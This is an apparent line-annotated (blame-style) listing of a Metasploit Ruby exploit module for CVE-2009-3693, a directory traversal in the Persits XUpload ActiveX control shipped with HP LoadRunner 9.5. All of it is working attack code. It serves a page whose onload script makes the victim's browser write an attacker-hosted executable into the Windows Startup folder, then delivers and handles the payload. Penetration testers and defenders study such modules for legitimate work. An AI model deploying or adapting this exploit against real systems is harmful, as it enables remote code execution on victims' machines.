2009-12-08 03:08:46 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-12-08 03:08:46 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Persits XUpload ActiveX MakeHttpRequest Directory Traversal',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a directory traversal in Persits Software Inc's
|
|
|
|
XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5.
|
|
|
|
By passing a string containing "..\\" sequences to the MakeHttpRequest method,
|
|
|
|
an attacker is able to write arbitrary files to arbitrary locations on disk.
|
|
|
|
|
|
|
|
Code execution occurs by writing to the All Users Startup Programs directory.
|
|
|
|
You may want to combine this module with the use of multi/handler since a
|
2015-03-27 18:53:20 +00:00
|
|
|
user would have to log for the payload to execute.
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'jduck' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-3693'],
|
|
|
|
[ 'OSVDB', '60001'],
|
|
|
|
[ 'URL', 'http://retrogod.altervista.org/9sg_hp_loadrunner.html' ]
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2048,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'ConnectionType' => '-find',
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Sep 29 2009',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('PATH', [ true, 'The path to place the executable.', '../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
uri,token = request.uri.split('?', 2)
|
|
|
|
|
|
|
|
print_status("request fired : #{uri}")
|
|
|
|
|
|
|
|
if !token
|
|
|
|
# randomize some stuff
|
|
|
|
objid = rand_text_alpha(rand(100) + 1)
|
|
|
|
func = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
|
|
|
# send the html that makes the payload get downloaded
|
|
|
|
token = rand_text_numeric(32)
|
|
|
|
if ("/" == get_resource[-1,1])
|
|
|
|
exe_uri = get_resource[0, get_resource.length - 1]
|
|
|
|
else
|
|
|
|
exe_uri = get_resource
|
|
|
|
end
|
|
|
|
exe_uri << "?" + token
|
|
|
|
|
|
|
|
exe_host = ""
|
|
|
|
exe_host << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
|
|
|
|
|
|
|
|
exe_hostport = datastore['SRVPORT']
|
|
|
|
|
|
|
|
exe_name = datastore['PATH'].dup
|
|
|
|
exe_name << rand_text_alphanumeric(rand(100) + 1)
|
|
|
|
exe_name << ".exe"
|
|
|
|
|
|
|
|
html = %Q|<html>
|
2009-12-08 03:08:46 +00:00
|
|
|
<head>
|
|
|
|
<script language='javascript'>
|
|
|
|
function #{func}()
|
|
|
|
{
|
2010-04-30 08:40:19 +00:00
|
|
|
#{objid}.Server = "#{exe_host}";
|
|
|
|
#{objid}.Script = "#{exe_uri}";
|
|
|
|
#{objid}.Port = #{exe_hostport};
|
|
|
|
#{objid}.MakeHttpRequest("","","#{exe_name}","","")
|
2009-12-08 03:08:46 +00:00
|
|
|
}
|
|
|
|
</script>
|
|
|
|
</head>
|
|
|
|
<body onload='javascript:#{func}()'>
|
|
|
|
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id=#{objid}></object>
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending #{self.name}")
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
send_response(cli, html,
|
|
|
|
{
|
|
|
|
'Connection' => 'close',
|
|
|
|
'Pragma' => 'no-cache'
|
|
|
|
})
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Sending payload EXE")
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
data = generate_payload_exe({ :code => p.encoded })
|
|
|
|
|
|
|
|
# send the exe
|
|
|
|
send_response(cli, data,
|
|
|
|
{
|
|
|
|
'Content-Type' => 'application/octet-stream',
|
|
|
|
'Connection' => 'close',
|
|
|
|
'Pragma' => 'no-cache'
|
|
|
|
})
|
|
|
|
|
|
|
|
# Handle the payload
|
|
|
|
handler(cli)
|
|
|
|
end
|
2009-12-08 03:08:46 +00:00
|
|
|
|
|
|
|
end
|